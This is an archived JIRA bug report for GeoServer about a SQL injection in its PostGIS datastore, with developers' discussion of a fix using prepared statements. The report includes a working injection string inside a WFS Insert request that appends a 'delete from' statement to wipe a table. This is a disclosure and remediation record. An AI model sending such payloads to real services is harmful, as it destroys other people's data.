jira.codehaus.org

  • Log In Access more options
    • Online Help
    • Keyboard Shortcuts
    • About JIRA
    • JIRA Credits
    • What?s New
  • Dashboards Access more options (Alt+d)
  • Projects Access more options (Alt+p)
  • Issues Access more options (Alt+i)
Signup
GeoServer
  • GeoServer
  • GEOS-597

sql-injection

  • Log In
  • Views
    • XML
    • Word
    • Printable

Details

  • Type: Bug Bug
  • Status: Closed Closed
  • Priority: Critical Critical
  • Resolution: Fixed
  • Affects Version/s: None
  • Fix Version/s: 1.7.0-RC1
  • Component/s: WFS
  • Labels:
    None
  • Number of attachments :
    5

Description

we've tested the following sql-injection:

<bemerkung>
\',null,null,null,null,31467);delete from
f_lw_digi_flaechen;--
</bemerkung>

This injection deletes all datasets in the table f_lw_digi_flaechen in our postgres database.
(Geoserver-Version 1.3 RC2)

The complete request:

<wfs:Transaction version="1.0.0" service="WFS"
xmlns="http://www.someserver.com/myns"
xmlns:gml="http://www.opengis.net/gml"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:alk="http://zdkwh.mlrbw.net:8080/geoserver/namespace/alk"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.someserver.com/myns http://wms1.ccgis.de/geoserver-1.3-beta4/wfs/getCapabilities?request=describefeaturetype&amp;typename=mapbender_user http://www.opengis.net/wfs../wfs/1.0.0/WFS-transaction.xsd">

<wfs:Insert>
<alk:f_lw_digi_flaechen>
<ud_id>0813</ud_id>
<meldevertreter_id>0813</meldevertreter_id>
<objekttyp_id>3</objekttyp_id>
<objekttyp_name>Landw. Nutzfl.</objekttyp_name>
<bemerkung>
\',null,null,null,null,31467);delete from
f_lw_digi_flaechen;--
</bemerkung>
<the_geom>
<gml:MultiPolygon srsName="epsg:31467">
<gml:polygonMember>
<gml:Polygon>
<gml:outerBoundaryIs>
<gml:LinearRing>
<gml:coordinates>
3472900,5464590 3472930,5464420
3472990,5464530 3472990,5464670
3472900,5464590
</gml:coordinates>
</gml:LinearRing>
</gml:outerBoundaryIs>
</gml:Polygon>
</gml:polygonMember>
</gml:MultiPolygon>
</the_geom>
</alk:f_lw_digi_flaechen>
</wfs:Insert>
</wfs:Transaction>

  • Options
    • Sort By Name
    • Sort By Date
    • Ascending
    • Descending
    • Download All

Attachments

  1. Hide
    Java Archive File
    gt2-main.jar
    30/Mar/06 6:09 PM
    2.63 MB
    Chris Holmes
    1. File
      META-INF/MANIFEST.MF 0.3 kB
    2. File
      META-INF/registryFile.jai 1 kB
    3. File
      META-INF/.../com.vividsolutions.xdo.SchemaBuilder 0.0 kB
    4. File
      META-INF/.../javax.imageio.spi.ImageReaderSpi 0.1 kB
    5. File
      META-INF/.../org.geotools.coverage.grid.GridCoverageFactory 0.0 kB
    6. File
      META-INF/.../org.geotools.coverage.processing.Operation2D 0.1 kB
    7. File
      META-INF/.../org.geotools.data.DataSourceFactorySpi 0.0 kB
    8. File
      META-INF/.../org.geotools.feature.FeatureFactorySpi 0.0 kB
    9. File
      META-INF/.../org.geotools.filter.FunctionExpression 5 kB
    10. File
      META-INF/.../org.geotools.referencing.operation.MathTransformProvider 2 kB
    11. File
      META-INF/.../org.geotools.xml.schema.Schema 0.1 kB
    12. File
      META-INF/.../org.opengis.referencing.crs.CRSAuthorityFactory 0.1 kB
    13. File
      META-INF/.../org.opengis.referencing.crs.CRSFactory 0.0 kB
    14. File
      META-INF/.../org.opengis.referencing.cs.CSAuthorityFactory 0.1 kB
    15. File
      META-INF/.../org.opengis.referencing.cs.CSFactory 0.0 kB
    16. File
      META-INF/.../org.opengis.referencing.datum.DatumAuthorityFactory 0.1 kB
    17. File
      META-INF/.../org.opengis.referencing.datum.DatumFactory 0.1 kB
    18. File
      META-INF/.../org.opengis.referencing.operation.CoordinateOperationFactory 0.1 kB
    19. File
      META-INF/.../org.opengis.referencing.operation.MathTransformFactory 0.1 kB
    20. File
      org/geotools/.../EqualClasses.class 1 kB
    21. File
      org/geotools/.../GeometryProperties.class 0.2 kB
    22. File
      org/.../RobustGeometryProperties.class 5 kB
    23. File
      org/geotools/.../AbstractCatalog.class 1 kB
    24. File
      org/.../AbstractMetadataEntity$ElementImpl.class 2 kB
    25. File
      org/.../AbstractMetadataEntity$EntityImpl.class 4 kB
    26. File
      org/.../AbstractMetadataEntity.class 4 kB
    27. File
      org/geotools/catalog/Catalog.class 0.3 kB
    28. File
      org/geotools/catalog/CatalogEntry.class 0.3 kB
    29. File
      org/.../DefaultQueryDefinition.class 1 kB
    30. File
      org/geotools/.../DefaultQueryResult.class 0.8 kB
    Showing 30 of 1634 items Download Zip
    Show
    Java Archive File
    gt2-main.jar
    30/Mar/06 6:09 PM
    2.63 MB
    Chris Holmes
  2. Java Source File
    JDBCTextFeatureWriter.java
    28/Apr/06 1:11 PM
    16 kB
    Chris Holmes
  3. File
    PostgisFeatureStore.java.diff
    21/Feb/07 7:17 PM
    10 kB
    Justin Deoliveira
  4. Java Source File
    PostgisFeatureWriter.java
    28/Apr/06 1:11 PM
    3 kB
    Chris Holmes
  5. File
    PostgisFeatureWriter.java.diff
    21/Feb/07 7:17 PM
    9 kB
    Justin Deoliveira

Issue Links

depends upon

Improvement - An improvement or enhancement to an existing feature or task. GEOT-219 Improve JDBCTextFeatureWriter to use Prepared Statements

  • Minor - Minor loss of function, or other problem where easy workaround is present.
  • Closed - The issue is considered finished, the resolution is correct. Issues which are not closed can be reopened.

Activity

Ascending order - Click to sort in descending order
  • All
  • Comments
  • Work Log
  • History
  • Activity
Hide
Permalink
dblasby added a comment - 17/Mar/06 11:45 AM

This is a problem with the Postgis datastore – it should be more careful with escaping content put into a query.

This should be a one-line fix, but this bug maybe in different portions of the code (ie. whereever SQL is generated). Quotes in column names is probably another issue (I havent looking into this).

Show
dblasby added a comment - 17/Mar/06 11:45 AM This is a problem with the Postgis datastore – it should be more careful with escaping content put into a query. This should be a one-line fix, but this bug maybe in different portions of the code (ie. whereever SQL is generated). Quotes in column names is probably another issue (I havent looking into this).
Hide
Permalink
Chris Holmes added a comment - 30/Mar/06 3:34 PM

I believe that we generally will check in the column name, since we validate against the featureType before we turn in to sql. So you can't have a <propertyName> with delete's thrown in, since our code wouldn't find them as proper attributes of the featureType.

But this should be checked for all the operations, since one or two may manage to slip by without an featureType validation. Update is the most likely candidate I can think of, we just have to check to be sure.

Show
Chris Holmes added a comment - 30/Mar/06 3:34 PM I believe that we generally will check in the column name, since we validate against the featureType before we turn in to sql. So you can't have a <propertyName> with delete's thrown in, since our code wouldn't find them as proper attributes of the featureType. But this should be checked for all the operations, since one or two may manage to slip by without an featureType validation. Update is the most likely candidate I can think of, we just have to check to be sure.
Hide
Permalink
Chris Holmes added a comment - 30/Mar/06 6:09 PM

Try this jar. I'm not sure I built it right, and I'm less than convinced my fix will make it work, but there's a decent chance that it will. So if you have a chance to test it, that'd be great.

I tried for half an hour to replicate the sql-injection, but was unsuccessful.

Could you also upgrade to 1.3.0? It looks like you're using beta4 or something? There's an off chance it may have just been fixed. Or perhaps I'm just not injecting right. I'll play with it tomorrow, but please see if you can upgrade and try again. And if upgrade by itself doesn't work, then try this jar in it.

thanks!

Chris

Show
Chris Holmes added a comment - 30/Mar/06 6:09 PM Try this jar. I'm not sure I built it right, and I'm less than convinced my fix will make it work, but there's a decent chance that it will. So if you have a chance to test it, that'd be great. I tried for half an hour to replicate the sql-injection, but was unsuccessful. Could you also upgrade to 1.3.0? It looks like you're using beta4 or something? There's an off chance it may have just been fixed. Or perhaps I'm just not injecting right. I'll play with it tomorrow, but please see if you can upgrade and try again. And if upgrade by itself doesn't work, then try this jar in it. thanks! Chris
Hide
Permalink
Chris Holmes added a comment - 21/Apr/06 2:48 PM

Ok, that jar won't work, but I have a version on my machine that does work. But it needs to be refactored and/or better tested, so it doesn't break other datastores.

Show
Chris Holmes added a comment - 21/Apr/06 2:48 PM Ok, that jar won't work, but I have a version on my machine that does work. But it needs to be refactored and/or better tested, so it doesn't break other datastores.
Hide
Permalink
Chris Holmes added a comment - 28/Apr/06 1:11 PM

Ok, attaching the code I came up with. It needs some work, as it just works with PostGIS, yet isn't contained within the postGIS package. I tried to move things over so it'd all live in PostGIS, but it ended up having to modify way too many things in the jdbc package, making things public and extending all over the place. So the better thing to do is probably to keep this in JDBC, and fix the datastores that use it.

So the change is that things now use Prepared Statements. This entails a change from getGeometryInsertText, so that it gets '?'s instead of the actual thing, and then puts in a new 'getGeometryObject' to fill in the actual object. It may take a bit of tweaking to get others to work this way. Oracle should already be set up to get the struct. Check with DB2, just email David Adler. MySQL should work the same way as PostGIS.

Note this code was done against 2.1.x. This patch should be against 2.2.x and trunk, since 1.3.1 is going to be against 2.2.x.

Show
Chris Holmes added a comment - 28/Apr/06 1:11 PM Ok, attaching the code I came up with. It needs some work, as it just works with PostGIS, yet isn't contained within the postGIS package. I tried to move things over so it'd all live in PostGIS, but it ended up having to modify way too many things in the jdbc package, making things public and extending all over the place. So the better thing to do is probably to keep this in JDBC, and fix the datastores that use it. So the change is that things now use Prepared Statements. This entails a change from getGeometryInsertText, so that it gets '?'s instead of the actual thing, and then puts in a new 'getGeometryObject' to fill in the actual object. It may take a bit of tweaking to get others to work this way. Oracle should already be set up to get the struct. Check with DB2, just email David Adler. MySQL should work the same way as PostGIS. Note this code was done against 2.1.x. This patch should be against 2.2.x and trunk, since 1.3.1 is going to be against 2.2.x.
Hide
Permalink
Andrea Aime added a comment - 06/Nov/06 8:08 AM

This needs to be either fixed by 1.4.0rc3, or delayed to 1.4.1, since we want to release the last rc unchanged we cannot schedule issues against 1.4.0.
Yet this does not seem to be trivial, depending on unfixed gt2 issues. What do you think?

Show
Andrea Aime added a comment - 06/Nov/06 8:08 AM This needs to be either fixed by 1.4.0rc3, or delayed to 1.4.1, since we want to release the last rc unchanged we cannot schedule issues against 1.4.0. Yet this does not seem to be trivial, depending on unfixed gt2 issues. What do you think?
Hide
Permalink
Justin Deoliveira added a comment - 21/Feb/07 7:26 PM

Moving to 1.6.0, as the patches for trunk have been updated and just awaiting some review.

Show
Justin Deoliveira added a comment - 21/Feb/07 7:26 PM Moving to 1.6.0, as the patches for trunk have been updated and just awaiting some review.
Hide
Permalink
Chris Holmes added a comment - 01/Nov/07 10:11 AM

This will probably need to go against 1.7, be done on trunk.

Justin, any chance your new jdbc stuff handles this? Might be a good thing to make sure about. May not need to do prepared statements, but should be sure that one can't do sql injections.

Show
Chris Holmes added a comment - 01/Nov/07 10:11 AM This will probably need to go against 1.7, be done on trunk. Justin, any chance your new jdbc stuff handles this? Might be a good thing to make sure about. May not need to do prepared statements, but should be sure that one can't do sql injections.
Hide
Permalink
Amos Hayes added a comment - 18/Apr/08 1:28 PM

Hello. Any more news on this?

At the moment, we can't store the name O'Toole via WFS-T because it triggers this error. Not to mention that an SQL injection attack is pretty serious, especially if geoserver is being given write access to the DB.

Show
Amos Hayes added a comment - 18/Apr/08 1:28 PM Hello. Any more news on this? At the moment, we can't store the name O'Toole via WFS-T because it triggers this error. Not to mention that an SQL injection attack is pretty serious, especially if geoserver is being given write access to the DB.
Hide
Permalink
Andrea Aime added a comment - 29/May/08 8:46 AM

Gabriel, isn't this one fixed (for transactions, at least?)

Show
Andrea Aime added a comment - 29/May/08 8:46 AM Gabriel, isn't this one fixed (for transactions, at least?)
Hide
Permalink
Andrea Aime added a comment - 18/Jul/08 4:16 AM

Gabriel?

Show
Andrea Aime added a comment - 18/Jul/08 4:16 AM Gabriel?
Hide
Permalink
Gabriel Roldan added a comment - 31/Jul/08 9:57 AM

sorry for the late response.
This issue is not fixed yet and afaik would require a wide change to fix.
The thing is, when converting a Query to an SQL statement, the sql injection may be done both in the property value being updated as well as in the where clause (that is, the Filter representing the query predicate being encoded as the where clause)

This means sql injection would also be possible through simple getFeatures(Query) (read only) operation, and thus the fix affects how the filters are encoded for jdbc. To do it properly, the filter to sql code should also use prepared statements, something that's not possible right now without a deep change

Show
Gabriel Roldan added a comment - 31/Jul/08 9:57 AM sorry for the late response. This issue is not fixed yet and afaik would require a wide change to fix. The thing is, when converting a Query to an SQL statement, the sql injection may be done both in the property value being updated as well as in the where clause (that is, the Filter representing the query predicate being encoded as the where clause) This means sql injection would also be possible through simple getFeatures(Query) (read only) operation, and thus the fix affects how the filters are encoded for jdbc. To do it properly, the filter to sql code should also use prepared statements, something that's not possible right now without a deep change
Hide
Permalink
Justin Deoliveira added a comment - 07/Aug/08 6:03 PM

So are the patches attatched to this issue still relevant?

Show
Justin Deoliveira added a comment - 07/Aug/08 6:03 PM So are the patches attatched to this issue still relevant?
Hide
Permalink
Gabriel Roldan added a comment - 11/Aug/08 4:45 PM

the issue as reported is fixed as per the resolution of GEOS-1878
That is, injecting malicious sql statements through an attribute value in a PostGis transaction is handled by PosgisFeatureStore using prepared statements.

Yet, GEOT-219 is still relevant, meaning that even though it is not possible to inject malicious code through an attribute value, it may still be possible to do so through the filter criteria, since the translation of filters into sql statements for normal queries do not use prepared statements yet.

See comments in GEOT-219 for a proposed solution

Show
Gabriel Roldan added a comment - 11/Aug/08 4:45 PM the issue as reported is fixed as per the resolution of GEOS-1878 That is, injecting malicious sql statements through an attribute value in a PostGis transaction is handled by PosgisFeatureStore using prepared statements. Yet, GEOT-219 is still relevant, meaning that even though it is not possible to inject malicious code through an attribute value, it may still be possible to do so through the filter criteria, since the translation of filters into sql statements for normal queries do not use prepared statements yet. See comments in GEOT-219 for a proposed solution

People

  • Assignee:
    Gabriel Roldan
    Reporter:
    Uli Rothstein
Vote (0)
Watch (0)

Dates

  • Created:
    17/Mar/06 7:58 AM
    Updated:
    11/Aug/08 4:45 PM
    Resolved:
    11/Aug/08 4:45 PM
  • Atlassian JIRA (v5.2.7#850-sha1:b2af0c8)
  • Report a problem
  • Powered by a free Atlassian JIRA open source license for Codehaus. Try JIRA - bug tracking software for your team.